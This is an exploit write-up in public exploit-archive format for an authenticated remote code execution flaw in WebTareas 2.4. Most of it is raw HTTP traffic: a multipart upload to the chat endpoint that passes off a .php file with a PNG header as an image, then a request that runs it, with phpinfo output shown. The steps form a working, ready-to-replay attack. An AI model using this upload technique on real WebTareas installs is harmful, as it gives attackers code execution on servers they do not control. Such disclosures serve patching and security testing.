# Exploit Title: WebTareas 2.4 - RCE (Authorized) # Date: 15/10/2022 # Exploit Author: Hubert Wojciechowski # Contact Author: hub.woj12345@gmail.com # Vendor Homepage: https://sourceforge.net/projects/webtareas/ # Software Link: https://sourceforge.net/projects/webtareas/ # Version: 2.4 # Testeted on: Windows 10 using XAMPP, Apache/2.4.48 (Win64) OpenSSL/1.1.1l PHP/7.4.23 ## Example in forum -> members forum -> chat ----------------------------------------------------------------------------------------------------------------------- Param: chatPhotos0 ----------------------------------------------------------------------------------------------------------------------- Req ----------------------------------------------------------------------------------------------------------------------- POST /webtareas/includes/chattab_serv.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0 Accept: */* Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=---------------------------13392153614835728094189311126 Content-Length: 6852 Origin: http://127.0.0.1 Connection: close Referer: http://127.0.0.1/webtareas/topics/listtopics.php?forum=1&toggle_focus=members&msg=add Cookie: webTareasSID=k177423c2af6isukkurfeq0g61; qdPM8=grntkihirc9efukm73dpo1ktt5; PHPSESSID=nsv9pmko3u7rh0s37cd6vg2ko1 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin -----------------------------13392153614835728094189311126 Content-Disposition: form-data; name="action" sendPhotos -----------------------------13392153614835728094189311126 Content-Disposition: form-data; name="chatTo" 2 -----------------------------13392153614835728094189311126 Content-Disposition: form-data; name="chatType" P -----------------------------13392153614835728094189311126 Content-Disposition: form-data; name="chatPhotos0"; filename="snupi.php" Content-Type: image/png PNG [...] <?php phpinfo();?> [...] ----------------------------------------------------------------------------------------------------------------------- Res: ----------------------------------------------------------------------------------------------------------------------- HTTP/1.1 200 OK Date: Sat, 15 Oct 2022 11:27:41 GMT Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/7.4.30 X-Powered-By: PHP/7.4.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 661 Connection: close Content-Type: application/json {"content":"<div class=\"message\"><div class=\"message-left\"><img class=\"avatar\" src=\"..\/includes\/avatars\/f2.png?ver=1665796223\"><\/div><div class=\"message-right\"><div class=\"message-info\"><div class=\"message-username\">Administrator<\/div><div class=\"message-timestamp\">2022-10-15 13:27<\/div><\/div><div class=\"photo-box\"><img src=\"..\/files\/Messages\/7.php\" onclick=\"javascript:showFullscreen(this);\"><div class=\"photo-action\"><a href=\"..\/files\/Messages\/7.php\" download=\"snupi.php\"><img title=\"Zaoszcz\u0119dzi\u0107\" src=\"..\/themes\/camping\/btn_download.png\"><\/a><\/div><label>snupi.php<\/label><\/div><\/div><\/div>"} ----------------------------------------------------------------------------------------------------------------------- See link: /files\/Messages\/7.php ----------------------------------------------------------------------------------------------------------------------- Req: ----------------------------------------------------------------------------------------------------------------------- GET /webtareas/files/Messages/7.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0 Accept: image/avif,image/webp,*/* Accept-Language: pl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Referer: http://127.0.0.1/webtareas/topics/listtopics.php?forum=1&toggle_focus=members&msg=add Cookie: webTareasSID=k177423c2af6isukkurfeq0g61; qdPM8=grntkihirc9efukm73dpo1ktt5; PHPSESSID=nsv9pmko3u7rh0s37cd6vg2ko1 Sec-Fetch-Dest: image Sec-Fetch-Mode: no-cors Sec-Fetch-Site: same-origin ----------------------------------------------------------------------------------------------------------------------- Res: ----------------------------------------------------------------------------------------------------------------------- HTTP/1.1 200 OK Date: Sat, 15 Oct 2022 11:28:16 GMT Server: Apache/2.4.54 (Win64) OpenSSL/1.1.1p PHP/7.4.30 X-Powered-By: PHP/7.4.30 Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 89945 [...] <title>PHP 7.4.30 - phpinfo()</title> [...] <h1 class="p">PHP Version 7.4.30</h1> </td></tr> </table> <table> <tr><td class="e">System </td><td class="v">Windows NT DESKTOP-LE3LSIM 10.0 build 19044 (Windows 10) AMD64 </td></tr> <tr><td class="e">Build Date </td><td class="v">Jun 7 2022 16:22:15 </td></tr> <tr><td class="e">Compiler </td><td class="v">Visual C++ 2017 [...]